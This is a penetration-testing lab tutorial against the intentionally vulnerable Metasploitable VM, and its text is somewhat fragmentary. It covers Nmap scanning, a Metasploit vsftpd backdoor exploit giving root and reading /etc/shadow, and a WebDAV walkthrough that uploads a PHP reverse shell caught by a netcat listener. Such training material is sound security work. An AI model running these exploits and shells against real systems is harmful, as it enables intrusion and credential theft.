Exploit Labs Short
Exploit Labs Short
Exploit Labs Short
The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux designed
for testing security tools and demonstrating common vulnerabilities. Version 2 of this virtual
machine is available for download and ships with even more vulnerabilities than the original image.
This virtual machine is compatible with VMWare, VirtualBox, and other common virtualization
platforms. By default, Metasploitable’s network interfaces should never be exposed to a hostile
network.
This VM can be used to conduct security training, test security tools, and practice common
penetration testing techniques.
Installation Process:
1. Open VirtualBox and Click on “New” button to create a new virtual machine
5. Select the vmdk file that you have downloaded from Rapid7
ifconfig
What is Nmap?
Nmap, short for Network Mapper, is a network discovery and security auditing tool. It is known for
its simple and easy to remember flags that provide powerful scanning options. Nmap is widely used
by network administrators to scan for:
• Monitoring hosts
Example 1
8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/
.
Example 3
nmap -v -A 192.168.0.130
This will show us the open ports and try to enumerate what services are running. Here is a look at
the ports:
3. VSFTPD Exploitation Port 21
At command prompt type msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
show options
exploit or run
Type whoami
root
Checking privileges
Type Id
uid=0(root) gid=0(root)
cat /etc/shadow
4. Exploit WebDAV on a Server & Get a Shell
Step 1
The first thing we need to do is check if WebDAV is enabled on the target. Metasploit has a scanner
we can use to do so, so fire it up by typing msfconsole in the terminal. Then, we can locate the
module using the search command:
Matching Modules
================
We now want to set the path to /dav/, a directory commonly used for WebDAV:
The scanner will return some HTTP information, including the Apache version number and whether
WebDAV is enabled or not. As we can see above, it is indeed enabled on our target.
Step 2
The next thing we'll want to do is test the permissions and file execution policies on the server.
Remember, our ultimate goal here is to obtain a reverse shell, so we need to know what we're
walking into.
DAVTest is a handy tool that will automatically test these things out for us. Simply type davtest in
the terminal to see the help and usage example:
~# davtest
At the most basic level, all we need to do is provide it with a valid URL pointing to an instance of
WebDAV. Naturally, use the -url switch followed by the correct URL.
Here, we can see the tool work its magic. It begins by testing the connection and attempts to create
a test directory, which we see is a success. Next, DAVTest will send a variety of different types of files
to determine what can be uploaded. It looks like all of these succeed.
********************************************************
********************************************************
Creating directory
********************************************************
********************************************************
EXEC pl FAIL
********************************************************
/usr/bin/davtest Summary:
Created: http://10.10.0.50/dav/DavTestDir_6WDIVTY
PUT File: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.asp
Executes: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.txt
Executes: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.php
Executes: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.html
Toward the end of the output above, we see the good stuff: testing for file execution. We can see
that most of them fail, but TXT, HTML, and perhaps the most important for us, PHP files, will all
successfully execute. All we need to do now is find a way to upload our shell.
For the final stage of our attack, we will use a tool called Cadaver, which offers an intuitive interface
for interacting with the WebDAV service — with FTP-like commands that are simple to use.
We can view the help and usage information by typing cadaver -h in the terminal:
~# cadaver -h
Usage: cadaver [OPTIONS] http://hostname[:port]/path
Options:
-p, --proxy=PROXY[:PORT] Use proxy host PROXY and optional proxy port PORT.
Let's test it out with a harmless text file before we jump to uploading our shell. First, create a simple
text file:
~# cadaver http://10.10.0.50/dav
dav:/dav/>
dav:/dav/> ?
Available commands:
Now, if we navigate to it in the browser, we should see the text displayed to us:
Since we are now confident that uploading will work, we can quit Cadaver for now so we can get our
shell ready:
dav:/dav/> quit
Connection to `10.10.0.50' closed.
Kali contains a variety of shells in the /usr/share/webshells/ directory. We want the PHP reverse
shell, so copy it to our current directory with the following command:
~# cp /usr/share/webshells/php/php-reverse-shell.php .
Next, we need to edit a couple of things, so open the file with your favorite text editor and change
the IP address to that of our local machine, as well as the port to a port of your choosing:
set_time_limit (0);
$VERSION = "1.0";
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$daemon = 0;
$debug = 0;
Save the file, and set up a listener with Netcat to catch the incoming connection:
~# nc -lvnp 7777
listening on [any] 7777 ...
In a new window or tab, connect to WebDAV again and upload our shell just like we did earlier with
the test file:
~# cadaver http://10.10.0.50/dav
Now browse to the file, and if it's successful, we should see the browser hang:
Back on our listener, we should see a connection open up from the target:
connect to [10.10.0.1] from (UNKNOWN) [10.10.0.50] 54183
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
sh-3.2$
We can now issue commands like whoami to confirm we have compromised the server:
sh-3.2$ whoami
www-data
From here, we would probably want to upgrade our shell and attempt to escalate privileges to root.
Wrapping Up
In this tutorial, we learned about WebDAV and how to exploit a misconfigured version of it to get
shell access. First, we used a Metasploit scanner to determine if WebDAV was running on the target.
Next, we were able to test file execution policies with a tool called DAVTest. Finally, we utilized
Cadaver to upload a reverse shell and compromise the server. While remote access offers a
convenient way to collaborate, hackers will always try to exploit it for their own use.